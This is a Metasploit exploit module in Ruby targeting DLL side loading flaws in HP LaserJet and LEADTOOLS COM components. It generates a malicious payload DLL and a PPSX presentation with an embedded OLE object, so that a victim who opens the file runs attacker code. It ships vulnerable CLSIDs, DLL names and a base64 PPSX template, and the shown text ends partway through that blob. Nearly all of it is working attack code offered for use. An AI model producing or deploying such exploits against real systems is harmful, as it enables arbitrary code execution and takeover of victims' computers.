Exploit

 

HP Color LaserJet CM2320 MFP Series multiple DLL side loading vulnerabilities

hp_laserjet_ole_sideload.rb:

require 'zip'
require 'base64'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
   Rank = NormalRanking

   include Msf::Exploit::FILEFORMAT
   include Msf::Exploit::EXE

   def initialize(info = {})
      super(update_info(info,
         'Name' => 'HP Color LaserJet CM2320 MFP Series multiple DLL side loading vulnerabilities',
         'Description' => %q{
            Multiple DLL side loading vulnerabilities were found in various COM components.
            These issues can be exploited by loading various these components as an embedded
            OLE object. When instantiating a vulnerable object Windows will try to load one   
            or more DLLs from the current working directory. If an attacker convinces the
            victim to open a specially crafted (Office) document from a directory also
            containing the attacker's DLL file, it is possible to execute arbitrary code with
            the privileges of the target user. This can potentially result in the attacker
            taking complete control of the affected system.
         },
         'Author' => 'Yorick Koster',
         'License' => MSF_LICENSE,
         'References' =>
            [
               ['URL', 'https://securify.nl/advisory/SFY20150901/leadtools_activex_control_multiple_dll_side_loading_vulnerabilities.html'],
               ['URL', 'https://securify.nl/advisory/SFY20150902/hp_tocommsg_dll_side_loading_vulnerability.html'],
               ['URL', 'https://securify.nl/advisory/SFY20150903/hp_laserjet_fax_preview_dll_side_loading_vulnerability.html'],
            ],
         'DefaultOptions' =>
            {
               'EXITFUNC' => 'thread',
               'PAYLOAD' => 'windows/exec',
               'CMD' => 'C:\\Windows\\System32\\calc.exe',
            },
         'Payload' => { 'Space'   => 2048, },
         'Platform' => 'win',
         'Arch' => ARCH_X86,
         'Targets' =>
            [
               [ 'All', {} ],
               [
                  'LEADTOOLS ActiveX control / Windows 7 / Office 2013',
                     {
                        'DLL' => 'LTANN11N.DLL',
                        # {00110000-B1BA-11CE-ABC6-F5B2E79D9E3F}
                        'CLSID' => "\x00\x00\x11\x00\xBA\xB1\xCE\x11\xAB\xC6\xF5\xB2\xE7\x9D\x9E\x3F"
                     }
               ],
               [
                  'HP ToComMsg / Windows 7 / Office 2013',
                     {
                        'DLL' => 'MFC80ENU.DLL',
                        # {2C7DE071-0E6D-11D5-954B-00108302E3C8}
                        'CLSID' => "\x71\xE0\x7D\x2C\x6D\x0E\xD5\x11\x95\x4B\x00\x10\x83\x02\xE3\xC8"
                     }
               ],
               [
                  'HP LaserJet Fax Preview / Windows 7 / Office 2013',
                     {
                        'DLL' => 'MFC80ENU.DLL',
                        # {CF867CBB-6C80-11D3-93B0-00108302E3C8}
                        'CLSID' => "\xBB\x7C\x86\xCF\x80\x6C\xD3\x11\x93\xB0\x00\x10\x83\x02\xE3\xC8"
                     }
               ],
            ],
         'Privileged' => false,
         'DisclosureDate' => 'January 23 2016',
         'DefaultTarget' => 0))

      register_options(
         [
            OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),
         ], self.class)
   end
   
   def exploit
      if target.name == 'All'
            targets = @targets
      else
         targets = [ target ]
      end
      
      targets.each do |t|
         if t.name == 'All'
            next
         end
         print_status("Using target #{t.name}")
   
         dll_name = t['DLL']
         if target.name == 'All'
            ppsx_name = t.name.split(/\//).first + ".ppsx"
         else
            ppsx_name = datastore['FILENAME']
         end

         print_status("Creating the payload DLL...")
         
         dll = generate_payload_dll
         dll_path = store_local("exploit.fileformat.#{self.shortname}", nil, dll, dll_name)
         print_good("#{dll_name} stored at #{dll_path}, copy it to a remote share")

         print_status("Creating the PPSX file...")
         ppsx = get_ppsx(t['CLSID'])
         ppsx_path = store_local("exploit.fileformat.#{self.shortname}", nil, ppsx, ppsx_name)
         print_good("#{ppsx_name} stored at #{ppsx_path}, copy it to a remote share")
      end
   end

   def create_ole(clsid)
      ole_tmp = Rex::Quickfile.new('ole')
      stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)

      stm = stg.create_stream("\x01OLE10Native")
      stm.close

      directory = stg.instance_variable_get(:@directory)
      directory.each_entry do |entry|
         if entry.instance_variable_get(:@_ab) == 'Root Entry'
            clsid = Rex::OLE::CLSID.new(clsid)
            entry.instance_variable_set(:@_clsId, clsid)
         end
      end

      # write to disk
      stg.close

      ole_contents = File.read(ole_tmp.path)
      ole_tmp.close
      ole_tmp.unlink

      ole_contents
   end

   def get_ppsx(clsid)
      data = Base64.decode64(%Q|UEsDBBQABgAIAAAAIQDgkYqZ2AEAADgNAAATAAgCW0NvbnRlbnRfVHlwZXNdLnht
bCCiBAIooAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMl9tO4zAQ
hu9X4h0i36LELSyHRU25APZqd0ECHsBNJq3BJ9nu6e0ZJ6WqUNrAQoVvKrkz//9/
dkeJO7hcSJHMwDquVU76WY8koApdcjXOyePD7/ScJM4zVTKhFeRkCY5cDg9+DB6W
BlyCauVyMvHeXFDqiglI5jJtQGGl0lYyj0s7poYVz2wM9KjXO6WFVh6UT33wIMPB
NVRsKnxys8CvG5IRVyS5avpCVE6YMYIXzGOZzlT5JiTVVcULKHUxlSjJtIDb0RMU
ntBW/7ms3vhzGfgWaai0a54MjFtFdaFdY0G4j21kdVIZKuseN+HGHWLDloRQ2R6w
XTfbqes+YdRfWzbHQQkBtzhDlpeQ3DHr/zGJdtQYT40Fh921abYbtTty00yKzAkM
dBM9zyTj6vWItpHU3X+Z8zjsm4v+XrAa73cxrWj2w9FFEDR3Vhv31elr4y6CGYf5
XgjWxl0EHp9a0Hx+/keobToT2UjAvV8K+PJdb1i/a/r+sKWe+tUMNov9TGLj/b9M
RxEyHUfI9DNCppMImU4jZDqLkOk8QqZfETL1ezFCfdeTHOX1mxdv+hY+zvB6BQ7q
1KARWM93v8/WiWj96U1DuCWXULZk0/p/z/AFAAD//wMAUEsDBBQABgAIAAAAIQBo
+HShAwEAAOICAAALAAgCX3JlbHMvLnJlbHMgogQCKKAAAgAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAArJLbSgMxEIbvBd8hzH032yoi0mxvROidyPoAYzK7
G90cSKbSvr2h4GFhLYK9zMw/H98kWW/2bhTvlLINXsGyqkGQ18FY3yt4bh8WtyAy
ozc4Bk8KDpRh01xerJ9oRC5DebAxi0LxWcHAHO+kzHogh7kKkXzpdCE55HJMvYyo
37AnuarrG5l+MqCZMMXWKEhbcwWiPUT6H1s6YjTIKHVItIipTCe2ZRfRYuqJFZig
H0s5HxNVIYOcF1qdV4iHnXvxaMcZla9e9Rqp/01o+Xeh0HVW033QO0ee57ymiW+n
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
J9/g6J1ODqzawpKnc/IQ5oiVwmyxd2E6/QMAAP//AwBQSwMEFAAGAAgAAAAhANXR
kvG8AAAANwEAACwAAABwcHQvc2xpZGVMYXlvdXRzL19yZWxzL3NsaWRlTGF5b3V0
NC54bWwucmVsc4zPvQrCMBAH8F3wHcLtJq2DiDR1EcHBRfQBjuTaBtsk5KLo25vR
goPjff3+XLN/TaN4UmIXvIZaViDIm2Cd7zXcrsfVFgRn9BbH4EnDmxj27XLRXGjE
XI54cJFFUTxrGHKOO6XYDDQhyxDJl0kX0oS5lKlXEc0de1Lrqtqo9G1AOzPFyWpI
J1uDuL4j/WOHrnOGDsE8JvL5R4Ti0Vk6I2dKhcXUU9Yg5Xd/tlTLEgGqbdTs3fYD
AAD//wMAUEsDBBQABgAIAAAAIQDV0ZLxvAAAADcBAAAsAAAAcHB0L3NsaWRlTGF5
b3V0cy9fcmVscy9zbGlkZUxheW91dDgueG1sLnJlbHOMz70KwjAQB/Bd8B3C7Sat
g4g0dRHBwUX0AY7k2gbbJOSi6Nub0YKD4339/lyzf02jeFJiF7yGWlYgyJtgne81
3K7H1RYEZ/QWx+BJw5sY9u1y0VxoxFyOeHCRRVE8axhyjjul2Aw0IcsQyZdJF9KE
uZSpVxHNHXtS66raqPRtQDszxclqSCdbg7i+I/1jh65zhg7BPCby+UeE4tFZOiNn
SoXF1FPWIOV3f7ZUyxIBqm3U7N32AwAA//8DAFBLAwQUAAYACAAAACEA1dGS8bwA
AAA3AQAALAAAAHBwdC9zbGlkZUxheW91dHMvX3JlbHMvc2xpZGVMYXlvdXQ5Lnht
bC5yZWxzjM+9CsIwEAfwXfAdwu0mrYOINHURwcFF9AGO5NoG2yTkoujbm9GCg+N9
/f5cs39No3hSYhe8hlpWIMibYJ3vNdyux9UWBGf0FsfgScObGPbtctFcaMRcjnhw
kUVRPGsYco47pdgMNCHLEMmXSRfShLmUqVcRzR17Uuuq2qj0bUA7M8XJakgnW4O4
viP9Y4euc4YOwTwm8vlHhOLRWTojZ0qFxdRT1iDld3+2VMsSAapt1Ozd9gMAAP//
AwBQSwMEFAAGAAgAAAAhANXRkvG8AAAANwEAAC0AAABwcHQvc2xpZGVMYXlvdXRz
L19yZWxzL3NsaWRlTGF5b3V0MTAueG1sLnJlbHOMz70KwjAQB/Bd8B3C7Satg4g0
dRHBwUX0AY7k2gbbJOSi6Nub0YKD4339/lyzf02jeFJiF7yGWlYgyJtgne813K7H
1RYEZ/QWx+BJw5sY9u1y0VxoxFyOeHCRRVE8axhyjjul2Aw0IcsQyZdJF9KEuZSp
VxHNHXtS66raqPRtQDszxclqSCdbg7i+I/1jh65zhg7BPCby+UeE4tFZOiNnSoXF
1FPWIOV3f7ZUyxIBqm3U7N32AwAA//8DAFBLAwQUAAYACAAAACEA1dGS8bwAAAA3
AQAALAAAAHBwdC9zbGlkZUxheW91dHMvX3JlbHMvc2xpZGVMYXlvdXQ3LnhtbC5y
ZWxzjM+9CsIwEAfwXfAdwu0mrYOINHURwcFF9AGO5NoG2yTkoujbm9GCg+N9/f5c
s39No3hSYhe8hlpWIMibYJ3vNdyux9UWBGf0FsfgScObGPbtctFcaMRcjnhwkUVR
PGsYco47pdgMNCHLEMmXSRfShLmUqVcRzR17Uuuq2qj0bUA7M8XJakgnW4O4viP9
Y4euc4YOwTwm8vlHhOLRWTojZ0qFxdRT1iDld3+2VMsSAapt1Ozd9gMAAP//AwBQ
SwMEFAAGAAgAAAAhANXRkvG8AAAANwEAACwAAABwcHQvc2xpZGVMYXlvdXRzL19y
ZWxzL3NsaWRlTGF5b3V0NS54bWwucmVsc4zPvQrCMBAH8F3wHcLtJq2DiDR1EcHB
RfQBjuTaBtsk5KLo25vRgoPjff3+XLN/TaN4UmIXvIZaViDIm2Cd7zXcrsfVFgRn
9BbH4EnDmxj27XLRXGjEXI54cJFFUTxrGHKOO6XYDDQhyxDJl0kX0oS5lKlXEc0d
e1Lrqtqo9G1AOzPFyWpIJ1uDuL4j/WOHrnOGDsE8JvL5R4Ti0Vk6I2dKhcXUU9Yg
5Xd/tlTLEgGqbdTs3fYDAAD//wMAUEsDBBQABgAIAAAAIQDV0ZLxvAAAADcBAAAt
AAAAcHB0L3NsaWRlTGF5b3V0cy9fcmVscy9zbGlkZUxheW91dDExLnhtbC5yZWxz
jM+9CsIwEAfwXfAdwu0mrYOINHURwcFF9AGO5NoG2yTkoujbm9GCg+N9/f5cs39N
o3hSYhe8hlpWIMibYJ3vNdyux9UWBGf0FsfgScObGPbtctFcaMRcjnhwkUVRPGsY
co47pdgMNCHLEMmXSRfShLmUqVcRzR17Uuuq2qj0bUA7M8XJakgnW4O4viP9Y4eu
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
U4ysCTsB3lp9BvxiSeXp6OGZ6DlfSb08GT46F55WR9EvXWJRX2IzrMmTyrKCvLSy
Sqgk9QmOQsyqvqbab/p3i8querj3v7PbKzj+TBZ/5cE4SOI0dQezPHaj2yh300EM
vSiLZsHoNkqz0ef+VC0hVU1rktPHlST3K3NInuZK7IU+nNL+cO8JULi8K8PelZxz
U4ff+mJ30kt9qbRsjflzhSWs0HvzHx+8c7y5rCKjXpE5oyVBb1f1+wNd7Jf2pbrA
nRKgj0pjPz8X3rZxPhrng5vITbM4cKMsgV6SB+44yWa+n/tZNgh221aZzBtgd+pu
/frl71++fvnnAnvVNv0dEs6EO6W7HlpJComkaTIKsjh1Ux9KL5olY/cmHw3dfBhC
CabxTRbefjZ3UT+aFJLYC+9vZX9V9qNnl+WaFpIrXumrgtfdrdsT/CORglN78fYH
3VV5jc3hECXhGMYSWx6e5da3lq0xfm7yh5bJN1jcr+0mqe1Jl9khAf8Muj2yDzG5
9/80rv8FAAD//wMAUEsDBBQABgAIAAAAIQAdOT41OgcAAHwyAAAhAAAAcHB0L3Ns
aWRlTWFzdGVycy9zbGlkZU1hc3RlcjEueG1s7Fr9bts4Ev9/gXsHQffnwbW+LRt1
FrFT7xbItkGTfQBaom1dKEpL0W7SwwJ9lnuL3cfpk9xwSNpyEqfxJQWSwDBgUaPR
cDi/+SDHfvvzVcmcFRVNUfGh67/xXIfyrMoLPh+6v19MOqnrNJLwnLCK06F7TRv3
56N//PS2HjQs/400kgoHZPBmQIbuQsp60O022YKWpHlT1ZTDs1klSiLhVsy7uSCf
QXbJuoHnJd2SFNw174uHvF/NZkVGT6psWVIutRBBGZGgf7Mo6sZKqx8irRa0ATH4
9pZKR7C+7Jzl6jqd6+9PdOYU+RVYyfN84CADlEzHTDgrwobudO673aO3XcNsRurl
pr4QlKoRX/0i6vP6TOAMH1ZnAmSCSNfhpAT7KgH4wLDhLV/hoHvj9bkdksHVTJTq
CuZxQENA8Vp9dxWNXkkn08RsQ80WH+/gzRbv7uDu2gm6rUnVqrRyt5cT2OVcFJJR
54yRjC4qloOvoImQ1+re1KdVdtk4vIK1KVPopa459PrVtV448roGsVKJNXz6IQ42
it1plTRMAWFcbpjEfhBv28f3Yj9OFINauB8GcZyEW8sng1o08hdalY4aDF1BM4me
QFanjdSslgV10prUA3k1qvJrxTmFK1gJQg7eX1Tii+uw97wZun0/imBuiTdR3Avg
RrSfTLeeSDauGMJEeAZyhm4mBerCwcGPl7KaFUYjPaV6xBp5Lq8ZxXXX6gvJAhRi
REU85Z3fzyHiSzlmlPC1X8ijMSuyS0dWDs0L6ZjARxwgP4BINZHE6VAk5fkZEeTT
DcnGRGgbaxM00/3+FK79SYHVdqfgKdxJGcg1sf0Yr/LTIE7ud6sojP0wTJ+/W+3t
SbWCeoXvIvGRnqXMh47VbHmW9p6bUyJqe0x5TrOK5w6jK8oeIB6dbA/xF4tCPFw6
5pg9pE+qpZCLB4uP9hVfzO6U/tQxHdmYPiFyu0SgQR4b07mE1X2BWCBsZmIbYfx/
YzsJoRrEN0pq0ItCZFChvakpL6hg4HJsMON4xXzlO4TNwSsYKpvTmQJdmdNXy0VI
Klbkk4KxOzZC8krvj2TBpab0Ys+zW4k1s77byOnamXBoFNHjloLo3TOWoxP9ZxL0
gn46GnW8k0naid5Fk87IS2EUjaOTIHkXjcbJn671CfA0WZR0UsyXgn5caigeEhRp
N/Rhe+jHm5CYqd3hUwdFbINiUlUqDbbDAgP5sWExA8wRyD+WRMAMJjT0Pmef0Ii8
MMWqtis2It+P0tccG3a/9fyi42l9MrE+eQ66UOfDspze8EwE9rGeCcdJEH2Xc6Lj
75e3E9+71zlffeJ+rq65TtzpJOlNvOOoMxqnQSca92HUnwSdXn984vsTfzz2gnXi
bpTncfCOh+brb1//+ue3r38/QbbGiz29g/sA+mbkLEUBCxmN+kkwTkedkQ/FJzrp
9zrHkyTuTOIQitAoPR6H7/5UDQU/GmSCYq/hfW67FH50q09RFpmommom32RVaRoe
3br6TEVdFdjz8D3TOEGIAi/1+oEXe9qFUTd7RW1V4JleRsbEb6R2pnMfarv0wb5X
MMovYTSdB4oWKFqgaDAiWUa5BA4zsJTAUtY8oaWElhJZSmQpsaXElpJYCuSYBSv4
